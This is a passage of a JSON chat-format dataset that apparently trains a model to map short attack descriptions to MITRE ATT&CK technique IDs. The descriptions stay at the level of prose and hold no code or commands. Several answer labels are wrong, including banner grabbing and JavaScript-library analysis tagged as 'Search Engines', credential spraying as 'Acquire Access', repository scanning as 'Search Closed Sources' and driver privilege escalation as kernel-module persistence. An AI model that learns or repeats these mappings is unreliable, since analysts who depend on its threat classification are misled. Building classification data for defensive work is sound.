                "content": "Attacker leverages the Windows Remote Desktop Protocol to gain interactive access to the target system."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote Access Trojan (RAT) utilizes the VNC protocol to tunnel command and control traffic through the victim's firewall."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts password hashes from compromised systems and uses them to create forged Kerberos tickets (Pass-the-Hash) to authenticate to other machines."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry key HKLM\\SYSTEM\\CurrentControlSet\\Services\\EventLog to turn off logging."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor removes existing Windows Volume Shadow Copies and disables System Restore to block the victim from rolling back the system."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a rogue COM object under the HKCU hive, the attacker ensures code runs whenever a specific file type is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor scans Docker container images for environment variables that expose secret keys and pulls them."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor collects information about the target's software stack by analyzing JavaScript libraries loaded on the website."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan encrypts its beacon data with a session‑specific symmetric key, creating a secure channel for C2 interactions."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor runs a crafted command via ssh to create a reverse shell on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious software uses RSA public-key encryption for all its external communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals obtained a botnet by infecting Android devices through malicious ads, using them for SMS spam."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor runs a built‑in Windows utility to dump local account password hashes for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script injects JavaScript into a compromised website to issue fetch requests for command retrieval."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary collects the operating system details of target hosts by inspecting banners from open ports."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit sends crafted calls to the Docker daemon's /containers/json endpoint to list containers and extract embedded credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the description field of a scheduled task to appear as \"Windows Update\" to avoid suspicion when enumerating tasks."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use infected external hard drives to automatically copy their ransomware onto any connected system, leveraging the Removable Media feature for lateral spread."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using XPC services, the attacker spawns a helper tool that runs with root privileges and performs file encryption."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a flaw in the Windows driver signing process to load a malicious driver that appeared to be signed by Microsoft."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses the AWS ECS Exec API to execute a shell command inside a container orchestrated in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1059.009 - Command and Scripting Interpreter: Cloud API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain that uses ROMMON to bypass authentication and install a persistent payload on the router."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool reads /proc/<pid>/cmdline of privileged services to capture hardcoded passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a malicious .NET assembly by invoking regsvcs.exe to proxy execution of the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor sends a personalized email to a senior executive containing a shortened malicious link that, when clicked, downloads a credential‑stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious VBA macro in a PowerPoint file triggers the execution of a PowerShell script that creates a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using previously harvested domain account credentials, the malicious actor accesses file shares and services."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leveraged an existing SAML trust relationship to forge authentication tokens and gain unauthorized access to enterprise applications."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses dynamic instrumentation (e.g., Frida) to modify function return values in a native app."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scan public code repositories for hardcoded API keys related to the target's services."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Get-ADGroup cmdlet in PowerShell to enumerate all groups in the Active Directory forest."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder accesses the Docker container's log files to enumerate recent container events and errors."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses the low-level NtAllocateVirtualMemory API to allocate executable memory for its shellcode."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The team used a supply‑chain attack on a widely used developer IDE, embedding a malicious plugin that installed advanced reconnaissance utilities."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes domain fronting by sending traffic through a content delivery network, disguising the true destination of the request."
            },
            {
                "role": "assistant",
                "content": "T1090.004 - Proxy: Domain Fronting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use HTTP(S) requests to covertly transmit command-and-control data, tunneling their payload over legitimate web traffic to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the \"CreateService\" API to set up a hidden service for covert command and control."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit triggers the creation of a local administrative account using the net localgroup command."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious office macro downloads additional payloads via a disguised HTTP download link."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a Python script with the pynput library to silently record keystrokes on a compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised credentials, the threat group accesses a corporate share and pulls confidential PDFs."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a vulnerable Windows driver (e.g., Win32k) to perform privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool clears the command execution logs in Windows Event Viewer by deleting the 'Microsoft-Windows-PowerShell/Operational' log."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host executed \"snmpget\" commands to retrieve specific OID values from the management interface."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through SMB relay, the attacker uses captured NTLM hashes from poisoned LLMNR queries to authenticate to a high-value server without needing password cracking."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ the Group Policy Management Editor to add a malicious DLL to the User Configuration's Logon scripts."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built‑in `dsquery` command, the attacker searches for objects of class `trustedDomain` to map trust relationships."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group compromised the external WordPress site by exploiting an outdated plugin, then used the foothold to move laterally inside the network."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script changes the domain password policy, setting the minimum password length to zero."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse the ‘/etc/cron.hourly’ directory to execute a payload hourly."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the template of a customer portal to include a hidden field that records and exfiltrates login credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with the cached authentication tokens in local storage, allowing replay attacks without re‑authentication."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits an insecure configuration of a software deployment service to execute arbitrary commands on remote endpoints."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage legitimate web APIs over TLS to receive updates and upload stolen files."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors acquire serverless compute on Cloudflare Workers to deliver phishing pages."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan employs BITS to maintain persistence by recreating its download job after each system restart."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set extracts SSL/TLS certificates from a compromised web server and reissues them to intercept encrypted traffic."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors encapsulate their traffic inside HTTPS sessions, making the malicious traffic appear as normal web browsing to evade network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a stolen SSH session token to impersonate the legitimate user and execute privileged commands."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised a news site and used it to serve a hidden exploit that installed ransomware on any visitor's machine upon page load."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By embedding RTLO characters in a PDF file name, the attacker disguises the file as a legitimate document, tricking users into opening a malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker logs into the compromised AWS S3 bucket using stolen credentials and copies sensitive documents to an external server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account runs 'Get-ADGroupMember' without proper filtering to discover members of domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replaces the executable section of explorer.exe with a backdoor using the Process Hollowing sub-technique (T1055.012)."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a persistent C2 link encrypted with AES‑256 in CBC mode to hide traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit framework copies a ransomware payload to the victim's system using a Windows Management Instrumentation (WMI) event subscription."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries public YouTube video comments for leaked credentials or configuration details shared by insiders."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker accesses searchable certificate databases to locate valid digital certificates that can be used for man-in-the-middle attacks."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks for the presence of virtual machine processes like vmtoolsd.exe and exits if found."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor utilized a serverless workflow in Azure Logic Apps to chain together functions that harvested secrets from Key Vault and exfiltrated them to an attacker-controlled domain."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless malware sample uses PowerShell to enumerate BIOS serial numbers via Get-WmiObject Win32_BIOS and aborts if it detects known virtual machine values."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the Windows Defender signature update schedule to delay detection of new threats."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts a credential‑spraying attack against a corporate Azure AD tenant, repeatedly trying common passwords until a valid account is discovered."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised Outlook add‑in to silently email sensitive files to an external address."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a living off the land (LOTL) tactic to use existing system tools and software to carry out malicious activities without introducing new malware."
            },
            {
                "role": "assistant",
                "content": "T1218 - System Binary Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before executing its payload, the malware reads the CPU's CPUID instruction to detect hypervisor signatures such as 'KVM' or 'Microsoft Hyper-V'."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
